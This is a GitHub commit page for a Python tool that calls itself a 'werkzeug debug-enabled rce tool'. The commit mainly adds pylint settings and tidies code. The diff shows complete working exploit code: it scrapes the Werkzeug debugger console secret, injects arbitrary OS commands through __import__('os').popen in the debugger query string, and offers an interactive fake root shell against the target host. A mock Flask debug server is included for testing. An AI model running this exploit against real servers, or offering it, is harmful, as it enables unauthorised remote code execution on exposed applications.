Skip to content

Commit

Permalink
chore: Add pylint to the project
Browse files Browse the repository at this point in the history
  • Loading branch information
its0x08 committed Feb 26, 2022
1 parent e5a8eef commit fa3d4f8
Show file tree
Hide file tree
Showing 4 changed files with 28 additions and 11 deletions.
3 changes: 3 additions & 0 deletions .pylintrc
Original file line number Diff line number Diff line change
@@ -0,0 +1,3 @@
[FORMAT]
indent-string=\t
disable=E0402,E0401
9 changes: 5 additions & 4 deletions main.py
Original file line number Diff line number Diff line change
@@ -1,8 +1,9 @@
#!/usr/bin/env python
from sys import argv
'''werkzeug debug-enabled rce tool'''
from sys import argv, exit as sysexit
from werkzeug_rce import DebugRce

if __name__=='__main__':
if __name__ == '__main__':
d = DebugRce(argv[1])
d.exec(argv[2])

Expand All @@ -11,6 +12,6 @@
cmd = input(f'root@{argv[1]}:~$ ')
for line in d.exec(cmd):
print(line)
except:
except KeyboardInterrupt:
print('\nQuiting!')
exit()
sysexit()
4 changes: 3 additions & 1 deletion test/mock_flask.py
Original file line number Diff line number Diff line change
@@ -1,9 +1,11 @@
'''This file is used to create a Flask debug instance for testing'''
from flask import Flask

app = Flask(__name__)

@app.route('/')
def main():
raise
'''Empty method for root route'''
return None

app.run("127.0.0.1", debug=True, port=80)
23 changes: 17 additions & 6 deletions werkzeug_rce.py
Original file line number Diff line number Diff line change
@@ -1,12 +1,23 @@
'''Parser class'''
from requests_html import HTMLSession

class DebugRce:
def __init__(self, URL) -> None:
self.URL = URL
'''RCE class'''
def __init__(self, url) -> None:
'''init method'''
self.url = url
self.req = HTMLSession()
self.secret = self.req.get(f'http://{self.URL}/console').html.find('script')[1].text.split(' ')[-1][1:-2]
self.secret = self.req.get(
f'http://{self.url}/console').html.find('script')[1].text.split(' ')[-1][1:-2]

def exec(self, cmd) -> list:
self.cmd = f'''__import__('os').popen('{cmd}').read();'''
self.res = self.req.get(f'http://{self.URL}/console?__debugger__=yes&cmd={self.cmd}&frm=0&s={self.secret}')
return self.res.html.text[1:-1].split('\\n')[0:-1]
'''.exec() method used to execute arbitrary comands'''

cmd = f'''__import__('os').popen('{cmd}').read();'''
res = self.req.get(
f'http://{self.url}/console?__debugger__=yes&cmd={cmd}&frm=0&s={self.secret}')
return res.html.text[1:-1].split('\\n')[0:-1]

def show_url(self):
'''.show_url() method used to show URL'''
return self.url

0 comments on commit fa3d4f8

Please sign in to comment.